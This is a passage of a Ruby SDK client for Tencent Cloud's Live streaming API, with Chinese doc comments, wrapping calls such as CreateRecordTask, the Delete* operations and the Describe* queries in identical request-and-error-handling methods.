# 1. 录制文件存放于点播平台,所以用户如需使用录制功能,需首先自行开通点播服务。
# 2. 录制文件存放后相关费用(含存储以及下行播放流量)按照点播平台计费方式收取,具体请参考 [对应文档](https://cloud.tencent.com/document/product/266/2837)。
# - 注意事项
# 1. 断流会结束当前录制并生成录制文件。在结束时间到达之前任务仍然有效,期间只要正常推流都会正常录制,与是否多次推、断流无关。
# 2. 使用上避免创建时间段相互重叠的录制任务。若同一条流当前存在多个时段重叠的任务,为避免重复录制系统将启动最多3个录制任务。
# 3. 创建的录制任务记录在平台侧只保留3个月。
# 4. 当前录制任务管理API(CreateRecordTask/StopRecordTask/DeleteRecordTask)与旧API(CreateLiveRecord/StopLiveRecord/DeleteLiveRecord)不兼容,两套接口不能混用。
# 5. 避免 创建录制任务 与 推流 操作同时进行,可能导致因录制任务未生效而引起任务延迟启动问题,两者操作间隔建议大于3秒。
# @param request: Request instance for CreateRecordTask.
# @type request: :class:`Tencentcloud::live::V20180801::CreateRecordTaskRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreateRecordTaskResponse`
def CreateRecordTask(request)
body = send_request('CreateRecordTask', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreateRecordTaskResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除回调规则。
# @param request: Request instance for DeleteLiveCallbackRule.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteLiveCallbackRuleRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteLiveCallbackRuleResponse`
def DeleteLiveCallbackRule(request)
body = send_request('DeleteLiveCallbackRule', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteLiveCallbackRuleResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除回调模板。
# @param request: Request instance for DeleteLiveCallbackTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteLiveCallbackTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteLiveCallbackTemplateResponse`
def DeleteLiveCallbackTemplate(request)
body = send_request('DeleteLiveCallbackTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteLiveCallbackTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除域名对应的证书
# @param request: Request instance for DeleteLiveCert.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteLiveCertRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteLiveCertResponse`
def DeleteLiveCert(request)
body = send_request('DeleteLiveCert', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteLiveCertResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除已添加的直播域名
# @param request: Request instance for DeleteLiveDomain.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteLiveDomainRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteLiveDomainResponse`
def DeleteLiveDomain(request)
body = send_request('DeleteLiveDomain', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteLiveDomainResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 注:DeleteLiveRecord 接口仅用于删除录制任务记录,不具备停止录制的功能,也不能删除正在进行中的录制。如果需要停止录制任务,请使用终止录制[StopLiveRecord](/document/product/267/30146) 接口。
# @param request: Request instance for DeleteLiveRecord.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteLiveRecordRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteLiveRecordResponse`
def DeleteLiveRecord(request)
body = send_request('DeleteLiveRecord', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteLiveRecordResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除录制规则。
# @param request: Request instance for DeleteLiveRecordRule.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteLiveRecordRuleRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteLiveRecordRuleResponse`
def DeleteLiveRecordRule(request)
body = send_request('DeleteLiveRecordRule', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteLiveRecordRuleResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除录制模板。
# @param request: Request instance for DeleteLiveRecordTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteLiveRecordTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteLiveRecordTemplateResponse`
def DeleteLiveRecordTemplate(request)
body = send_request('DeleteLiveRecordTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteLiveRecordTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除截图规则。
# @param request: Request instance for DeleteLiveSnapshotRule.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteLiveSnapshotRuleRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteLiveSnapshotRuleResponse`
def DeleteLiveSnapshotRule(request)
body = send_request('DeleteLiveSnapshotRule', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteLiveSnapshotRuleResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除截图模板
# @param request: Request instance for DeleteLiveSnapshotTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteLiveSnapshotTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteLiveSnapshotTemplateResponse`
def DeleteLiveSnapshotTemplate(request)
body = send_request('DeleteLiveSnapshotTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteLiveSnapshotTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除转码规则。
# DomainName+AppName+StreamName+TemplateId唯一标识单个转码规则,如需删除需要强匹配。其中TemplateId必填,其余参数为空时也需要传空字符串进行强匹配。
# @param request: Request instance for DeleteLiveTranscodeRule.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteLiveTranscodeRuleRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteLiveTranscodeRuleResponse`
def DeleteLiveTranscodeRule(request)
body = send_request('DeleteLiveTranscodeRule', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteLiveTranscodeRuleResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除转码模板。
# @param request: Request instance for DeleteLiveTranscodeTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteLiveTranscodeTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteLiveTranscodeTemplateResponse`
def DeleteLiveTranscodeTemplate(request)
body = send_request('DeleteLiveTranscodeTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteLiveTranscodeTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除水印。
# @param request: Request instance for DeleteLiveWatermark.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteLiveWatermarkRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteLiveWatermarkResponse`
def DeleteLiveWatermark(request)
body = send_request('DeleteLiveWatermark', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteLiveWatermarkResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除水印规则
# @param request: Request instance for DeleteLiveWatermarkRule.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteLiveWatermarkRuleRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteLiveWatermarkRuleResponse`
def DeleteLiveWatermarkRule(request)
body = send_request('DeleteLiveWatermarkRule', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteLiveWatermarkRuleResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除直播拉流配置。
# @param request: Request instance for DeletePullStreamConfig.
# @type request: :class:`Tencentcloud::live::V20180801::DeletePullStreamConfigRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeletePullStreamConfigResponse`
def DeletePullStreamConfig(request)
body = send_request('DeletePullStreamConfig', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeletePullStreamConfigResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 删除录制任务配置。删除操作不影响正在运行当中的任务,仅对删除之后新的推流有效。
# @param request: Request instance for DeleteRecordTask.
# @type request: :class:`Tencentcloud::live::V20180801::DeleteRecordTaskRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DeleteRecordTaskResponse`
def DeleteRecordTask(request)
body = send_request('DeleteRecordTask', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DeleteRecordTaskResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 输入某个时间点(1分钟维度),查询该时间点所有流的下行信息。
# @param request: Request instance for DescribeAllStreamPlayInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeAllStreamPlayInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeAllStreamPlayInfoListResponse`
def DescribeAllStreamPlayInfoList(request)
body = send_request('DescribeAllStreamPlayInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeAllStreamPlayInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 海外分区直播计费带宽和流量数据查询。
# @param request: Request instance for DescribeAreaBillBandwidthAndFluxList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeAreaBillBandwidthAndFluxListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeAreaBillBandwidthAndFluxListResponse`
def DescribeAreaBillBandwidthAndFluxList(request)
body = send_request('DescribeAreaBillBandwidthAndFluxList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeAreaBillBandwidthAndFluxListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 直播计费带宽和流量数据查询。
# @param request: Request instance for DescribeBillBandwidthAndFluxList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeBillBandwidthAndFluxListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeBillBandwidthAndFluxListResponse`
def DescribeBillBandwidthAndFluxList(request)
body = send_request('DescribeBillBandwidthAndFluxList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeBillBandwidthAndFluxListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 回调事件查询
# @param request: Request instance for DescribeCallbackRecordsList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeCallbackRecordsListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeCallbackRecordsListResponse`
def DescribeCallbackRecordsList(request)
body = send_request('DescribeCallbackRecordsList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeCallbackRecordsListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询并发录制路数,对慢直播和普通直播适用。
# @param request: Request instance for DescribeConcurrentRecordStreamNum.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeConcurrentRecordStreamNumRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeConcurrentRecordStreamNumResponse`
def DescribeConcurrentRecordStreamNum(request)
body = send_request('DescribeConcurrentRecordStreamNum', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeConcurrentRecordStreamNumResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询直播转推计费带宽,查询时间范围最大支持3个月内的数据,时间跨度最长31天。
# @param request: Request instance for DescribeDeliverBandwidthList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeDeliverBandwidthListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeDeliverBandwidthListResponse`
def DescribeDeliverBandwidthList(request)
body = send_request('DescribeDeliverBandwidthList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeDeliverBandwidthListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询按省份和运营商分组的下行播放数据。
# @param request: Request instance for DescribeGroupProIspPlayInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeGroupProIspPlayInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeGroupProIspPlayInfoListResponse`
def DescribeGroupProIspPlayInfoList(request)
body = send_request('DescribeGroupProIspPlayInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeGroupProIspPlayInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询某段时间内5分钟粒度的各播放http状态码的个数。
# 备注:数据延迟1小时,如10:00-10:59点的数据12点才能查到。
# @param request: Request instance for DescribeHttpStatusInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeHttpStatusInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeHttpStatusInfoListResponse`
def DescribeHttpStatusInfoList(request)
body = send_request('DescribeHttpStatusInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeHttpStatusInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取回调规则列表
# @param request: Request instance for DescribeLiveCallbackRules.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveCallbackRulesRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveCallbackRulesResponse`
def DescribeLiveCallbackRules(request)
body = send_request('DescribeLiveCallbackRules', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveCallbackRulesResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取单个回调模板。
# @param request: Request instance for DescribeLiveCallbackTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveCallbackTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveCallbackTemplateResponse`
def DescribeLiveCallbackTemplate(request)
body = send_request('DescribeLiveCallbackTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveCallbackTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取回调模板列表
# @param request: Request instance for DescribeLiveCallbackTemplates.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveCallbackTemplatesRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveCallbackTemplatesResponse`
def DescribeLiveCallbackTemplates(request)
body = send_request('DescribeLiveCallbackTemplates', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveCallbackTemplatesResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取证书信息
# @param request: Request instance for DescribeLiveCert.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveCertRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveCertResponse`
def DescribeLiveCert(request)
body = send_request('DescribeLiveCert', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveCertResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取证书信息列表
# @param request: Request instance for DescribeLiveCerts.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveCertsRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveCertsResponse`
def DescribeLiveCerts(request)
body = send_request('DescribeLiveCerts', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveCertsResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取直播延播列表。
# @param request: Request instance for DescribeLiveDelayInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveDelayInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveDelayInfoListResponse`
def DescribeLiveDelayInfoList(request)
body = send_request('DescribeLiveDelayInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveDelayInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询直播域名信息。
# @param request: Request instance for DescribeLiveDomain.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveDomainRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveDomainResponse`
def DescribeLiveDomain(request)
body = send_request('DescribeLiveDomain', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveDomainResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取域名证书信息。
# @param request: Request instance for DescribeLiveDomainCert.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveDomainCertRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveDomainCertResponse`
def DescribeLiveDomainCert(request)
body = send_request('DescribeLiveDomainCert', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveDomainCertResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询实时的域名维度下行播放数据,由于数据处理有耗时,接口默认查询4分钟前的准实时数据。
# @param request: Request instance for DescribeLiveDomainPlayInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveDomainPlayInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveDomainPlayInfoListResponse`
def DescribeLiveDomainPlayInfoList(request)
body = send_request('DescribeLiveDomainPlayInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveDomainPlayInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 根据域名状态、类型等信息查询用户的域名信息。
# @param request: Request instance for DescribeLiveDomains.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveDomainsRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveDomainsResponse`
def DescribeLiveDomains(request)
body = send_request('DescribeLiveDomains', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveDomainsResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取禁推流列表。
# @param request: Request instance for DescribeLiveForbidStreamList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveForbidStreamListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveForbidStreamListResponse`
def DescribeLiveForbidStreamList(request)
body = send_request('DescribeLiveForbidStreamList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveForbidStreamListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询用户套餐包总量、使用量、剩余量、包状态、购买时间和过期时间等。
# @param request: Request instance for DescribeLivePackageInfo.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLivePackageInfoRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLivePackageInfoResponse`
def DescribeLivePackageInfo(request)
body = send_request('DescribeLivePackageInfo', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLivePackageInfoResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
